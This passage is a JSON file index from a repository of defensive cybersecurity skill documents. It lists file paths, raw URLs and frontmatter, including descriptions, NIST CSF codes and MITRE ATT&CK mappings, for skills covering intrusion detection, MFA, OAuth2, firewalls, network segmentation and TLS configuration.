-->","isInternal":false,"tokens":287,"sizeBytes":1301},{"name":"SKILL.md","path":"skills/configuring-host-based-intrusion-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-host-based-intrusion-detection/SKILL.md","title":"configuring-host-based-intrusion-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2FSKILL.md -->","frontmatter":{"name":"configuring-host-based-intrusion-detection","description":"Configures host-based intrusion detection systems (HIDS) to monitor endpoint file integrity, system calls, and configuration changes for security violations. Use when deploying OSSEC, Wazuh, or AIDE for endpoint monitoring, building file integrity monitoring (FIM) policies, or meeting compliance requirements for change detection. Activates for requests involving HIDS configuration, file integrity monitoring, OSSEC/Wazuh deployment, or host-based detection.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","HIDS","Wazuh","OSSEC","file-integrity-monitoring","intrusion-detection"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1059","T1543","T1547","T1070","T1055"]},"isInternal":false,"tokens":2241,"sizeBytes":8527},{"name":"template.md","path":"skills/configuring-hsm-for-key-storage/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-hsm-for-key-storage/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":372,"sizeBytes":1254},{"name":"api-reference.md","path":"skills/configuring-hsm-for-key-storage/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-hsm-for-key-storage/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":495,"sizeBytes":1807},{"name":"standards.md","path":"skills/configuring-hsm-for-key-storage/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-hsm-for-key-storage/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":495,"sizeBytes":1611},{"name":"workflows.md","path":"skills/configuring-hsm-for-key-storage/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-hsm-for-key-storage/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":474,"sizeBytes":1586},{"name":"SKILL.md","path":"skills/configuring-hsm-for-key-storage/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-hsm-for-key-storage/SKILL.md","title":"configuring-hsm-for-key-storage","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2FSKILL.md -->","frontmatter":{"name":"configuring-hsm-for-key-storage","description":"Configures Hardware Security Modules for cryptographic key storage using the PKCS#11 standard interface, covering key generation, signing, encryption, and key management on physical HSMs and SoftHSM2 for development. Use when protecting cryptographic keys so they never leave a hardened device boundary, or when building and testing PKCS#11-based key management workflows.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","hsm","key-management","pkcs11","hardware-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1552.004","T1555","T1078"]},"isInternal":false,"tokens":944,"sizeBytes":3935},{"name":"template.md","path":"skills/configuring-identity-aware-proxy-with-google-iap/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-identity-aware-proxy-with-google-iap/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":586,"sizeBytes":2266},{"name":"api-reference.md","path":"skills/configuring-identity-aware-proxy-with-google-iap/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-identity-aware-proxy-with-google-iap/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":390,"sizeBytes":1597},{"name":"standards.md","path":"skills/configuring-identity-aware-proxy-with-google-iap/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-identity-aware-proxy-with-google-iap/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":443,"sizeBytes":1762},{"name":"workflows.md","path":"skills/configuring-identity-aware-proxy-with-google-iap/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-identity-aware-proxy-with-google-iap/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":589,"sizeBytes":2490},{"name":"SKILL.md","path":"skills/configuring-identity-aware-proxy-with-google-iap/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-identity-aware-proxy-with-google-iap/SKILL.md","title":"configuring-identity-aware-proxy-with-google-iap","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2FSKILL.md -->","frontmatter":{"name":"configuring-identity-aware-proxy-with-google-iap","description":"Configures Google Cloud Identity-Aware Proxy (IAP) via gcloud to enforce per-request identity verification on Compute Engine, App Engine, Cloud Run, and GKE, including IAM bindings, Access Context Manager access levels, session/reauth settings, and service-account programmatic access. Use when replacing VPN access with identity-based access to GCP backends or configuring context-aware, zero-trust policies for Google Cloud services.\n","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["google-iap","identity-aware-proxy","gcp","zero-trust","access-context-manager","cloud-run","app-engine"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1078.004","T1133","T1021.007"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning"],"techniques":[{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"},{"id":"T1550.001","name":"Use Alternate Authentication Material: Application Access Token","tactic":"initial-access","source":"attack"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"}]}},"isInternal":false,"tokens":3529,"sizeBytes":14719},{"name":"api-reference.md","path":"skills/configuring-ldap-security-hardening/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-ldap-security-hardening/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-ldap-security-hardening%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":382,"sizeBytes":1667},{"name":"SKILL.md","path":"skills/configuring-ldap-security-hardening/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-ldap-security-hardening/SKILL.md","title":"configuring-ldap-security-hardening","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-ldap-security-hardening%2FSKILL.md -->","frontmatter":{"name":"configuring-ldap-security-hardening","description":"Hardens LDAP directory services against credential harvesting, LDAP injection, anonymous binding, and channel-binding bypass by enforcing LDAPS, channel binding, and LDAP signing. Use when securing an LDAP or Active Directory environment against these attack classes or auditing directory service configurations for these vulnerabilities.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","ldap","directory-services","hardening"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1087.002","T1110.003","T1557.001","T1040","T1078.002"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning"],"techniques":[{"id":"T1110.003","name":"Brute Force: Password Spraying","tactic":"initial-access","source":"attack"},{"id":"T1110","name":"Brute Force","tactic":"initial-access","source":"attack"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"positioning","source":"attack"}]}},"isInternal":false,"tokens":685,"sizeBytes":3021},{"name":"template.md","path":"skills/configuring-microsegmentation-for-zero-trust/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-microsegmentation-for-zero-trust/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":659,"sizeBytes":2422},{"name":"api-reference.md","path":"skills/configuring-microsegmentation-for-zero-trust/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-microsegmentation-for-zero-trust/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":352,"sizeBytes":1417},{"name":"standards.md","path":"skills/configuring-microsegmentation-for-zero-trust/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-microsegmentation-for-zero-trust/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":732,"sizeBytes":3612},{"name":"workflows.md","path":"skills/configuring-microsegmentation-for-zero-trust/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-microsegmentation-for-zero-trust/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1415,"sizeBytes":7113},{"name":"SKILL.md","path":"skills/configuring-microsegmentation-for-zero-trust/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-microsegmentation-for-zero-trust/SKILL.md","title":"configuring-microsegmentation-for-zero-trust","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2FSKILL.md -->","frontmatter":{"name":"configuring-microsegmentation-for-zero-trust","description":"Configures microsegmentation policies to enforce least-privilege workload-to-workload access using tools such as VMware NSX, Illumio, and Calico, preventing lateral movement in zero trust architectures. Use when designing or implementing network microsegmentation as part of a zero trust architecture aligned with NIST SP 800-207.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["zero-trust","microsegmentation","network-access","lateral-movement","network-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1021","T1210","T1570","T1046","T1018"]},"isInternal":false,"tokens":1706,"sizeBytes":8194},{"name":"template.md","path":"skills/configuring-multi-factor-authentication-with-duo/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-multi-factor-authentication-with-duo/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":369,"sizeBytes":1452},{"name":"api-reference.md","path":"skills/configuring-multi-factor-authentication-with-duo/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-multi-factor-authentication-with-duo/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":371,"sizeBytes":1488},{"name":"standards.md","path":"skills/configuring-multi-factor-authentication-with-duo/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-multi-factor-authentication-with-duo/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":384,"sizeBytes":1240},{"name":"workflows.md","path":"skills/configuring-multi-factor-authentication-with-duo/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-multi-factor-authentication-with-duo/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":354,"sizeBytes":1588},{"name":"SKILL.md","path":"skills/configuring-multi-factor-authentication-with-duo/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-multi-factor-authentication-with-duo/SKILL.md","title":"configuring-multi-factor-authentication-with-duo","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2FSKILL.md -->","frontmatter":{"name":"configuring-multi-factor-authentication-with-duo","description":"Deploys Cisco Duo multi-factor authentication across enterprise applications, VPN, RDP, and SSH access points, covering Duo Authentication Proxy setup, adaptive authentication policies, device trust assessment, and phishing-resistant WebAuthn/FIDO2 deployment aligned with NIST 800-63B AAL2/AAL3. Use when adding or hardening MFA for remote access, VPN, or privileged logins with Duo.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","authentication","mfa","duo","multi-factor"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1621","T1110.004","T1110.003","T1078","T1556.006"]},"isInternal":false,"tokens":1492,"sizeBytes":6420},{"name":"api-reference.md","path":"skills/configuring-network-segmentation-with-vlans/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-network-segmentation-with-vlans/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-network-segmentation-with-vlans%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":580,"sizeBytes":2389},{"name":"SKILL.md","path":"skills/configuring-network-segmentation-with-vlans/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-network-segmentation-with-vlans/SKILL.md","title":"configuring-network-segmentation-with-vlans","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-network-segmentation-with-vlans%2FSKILL.md -->","frontmatter":{"name":"configuring-network-segmentation-with-vlans","description":"Designs and implements VLAN-based (802.1Q) network segmentation on managed switches to isolate zones such as corporate, servers, DMZ, guest, and IoT, and to limit lateral movement paths. Use when segmenting an enterprise network into isolated security zones, meeting compliance mandates (PCI-DSS, HIPAA, SOC 2) for network isolation, or reducing blast radius from a security incident.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","vlan","network-segmentation","switch-security","802.1q"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557.002","T1021","T1018"]},"isInternal":false,"tokens":4115,"sizeBytes":13576},{"name":"template.md","path":"skills/configuring-oauth2-authorization-flow/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-oauth2-authorization-flow/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":621,"sizeBytes":2818},{"name":"api-reference.md","path":"skills/configuring-oauth2-authorization-flow/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-oauth2-authorization-flow/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":406,"sizeBytes":1572},{"name":"standards.md","path":"skills/configuring-oauth2-authorization-flow/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-oauth2-authorization-flow/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":659,"sizeBytes":2270},{"name":"workflows.md","path":"skills/configuring-oauth2-authorization-flow/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-oauth2-authorization-flow/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1147,"sizeBytes":5472},{"name":"SKILL.md","path":"skills/configuring-oauth2-authorization-flow/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-oauth2-authorization-flow/SKILL.md","title":"configuring-oauth2-authorization-flow","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2FSKILL.md -->","frontmatter":{"name":"configuring-oauth2-authorization-flow","description":"Configures secure OAuth 2.0 authorization flows, including Authorization Code with PKCE, Client Credentials, and Device Authorization Grant, covering flow selection, PKCE implementation, token lifecycle management, and scope design per OAuth 2.1. Use when implementing or hardening OAuth 2.0 authentication/authorization for web, mobile, SPA, or machine-to-machine clients.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","authentication","authorization","oauth2","oidc","pkce"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1528","T1550.001","T1539","T1606.001","T1212"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning"],"techniques":[{"id":"T1550.001","name":"Use Alternate Authentication Material: Application Access Token","tactic":"initial-access","source":"attack"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"}]}},"isInternal":false,"tokens":1551,"sizeBytes":6810},{"name":"api-reference.md","path":"skills/configuring-pfsense-firewall-rules/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-pfsense-firewall-rules/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-pfsense-firewall-rules%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":603,"sizeBytes":2427},{"name":"SKILL.md","path":"skills/configuring-pfsense-firewall-rules/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-pfsense-firewall-rules/SKILL.md","title":"configuring-pfsense-firewall-rules","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-pfsense-firewall-rules%2FSKILL.md -->","frontmatter":{"name":"configuring-pfsense-firewall-rules","description":"Configures pfSense firewall rules, NAT policies, IPsec/OpenVPN tunnels, and traffic shaping to enforce network segmentation and control traffic between zones such as DMZ, internal, guest, and IoT. Use when deploying a pfSense perimeter or internal firewall, setting up port-forwarding NAT, configuring site-to-site or remote-access VPNs, or applying QoS/bandwidth policies.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","pfsense","firewall","nat","network-segmentation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1071.001","T1095","T1572","T1571","T1041"]},"isInternal":false,"tokens":3262,"sizeBytes":12426},{"name":"api-reference.md","path":"skills/configuring-snort-ids-for-intrusion-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-snort-ids-for-intrusion-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-snort-ids-for-intrusion-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":712,"sizeBytes":2245},{"name":"SKILL.md","path":"skills/configuring-snort-ids-for-intrusion-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-snort-ids-for-intrusion-detection/SKILL.md","title":"configuring-snort-ids-for-intrusion-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-snort-ids-for-intrusion-detection%2FSKILL.md -->","frontmatter":{"name":"configuring-snort-ids-for-intrusion-detection","description":"Installs, configures, and tunes Snort 3 to monitor network traffic for malicious activity using custom and community rulesets, preprocessors, and alert output plugins. Use when deploying network-based intrusion detection at key boundaries, writing custom Snort rules, tuning rulesets to reduce false positives, or integrating Snort alerts with a SIEM.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","snort","ids","intrusion-detection","rule-writing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1071.001","T1572","T1210","T1048"]},"isInternal":false,"tokens":3647,"sizeBytes":14004},{"name":"api-reference.md","path":"skills/configuring-suricata-for-network-monitoring/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-suricata-for-network-monitoring/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-suricata-for-network-monitoring%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":767,"sizeBytes":2627},{"name":"SKILL.es.md","path":"skills/configuring-suricata-for-network-monitoring/SKILL.es.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-suricata-for-network-monitoring/SKILL.es.md","title":"configuring-suricata-for-network-monitoring","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-suricata-for-network-monitoring%2FSKILL.es.md -->","frontmatter":{"name":"configuring-suricata-for-network-monitoring","description":"Configure and tune Suricata IDS/IPS for network threat detection and monitoring.","domain":"cybersecurity","subdomain":"network-security","tags":["suricata","ids","ips","network-security","threat-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","language":"es"},"isInternal":false,"tokens":343,"sizeBytes":1214},{"name":"SKILL.md","path":"skills/configuring-suricata-for-network-monitoring/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-suricata-for-network-monitoring/SKILL.md","title":"configuring-suricata-for-network-monitoring","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-suricata-for-network-monitoring%2FSKILL.md -->","frontmatter":{"name":"configuring-suricata-for-network-monitoring","description":"Deploys and configures Suricata IDS/IPS with Emerging Threats rulesets, EVE JSON logging, and custom rules for high-throughput, protocol-aware traffic inspection (HTTP, TLS, DNS, SMB) and SIEM integration. Use when running Suricata in IDS or inline IPS mode to detect or block malicious traffic, or when combining signature-based and protocol anomaly detection with file extraction.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","suricata","ids","ips","network-monitoring"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1071.001","T1572","T1048","T1573.001"]},"isInternal":false,"tokens":3930,"sizeBytes":14454},{"name":"template.md","path":"skills/configuring-tls-1-3-for-secure-communications/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-tls-1-3-for-secure-communications/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":585,"sizeBytes":2127},{"name":"api-reference.md","path":"skills/configuring-tls-1-3-for-secure-communications/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-tls-1-3-for-secure-communications/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":399,"sizeBytes":1481},{"name":"standards.md","path":"skills/configuring-tls-1-3-for-secure-communications/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-tls-1-3-for-secure-communications/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Freferences%2Fstandards.md 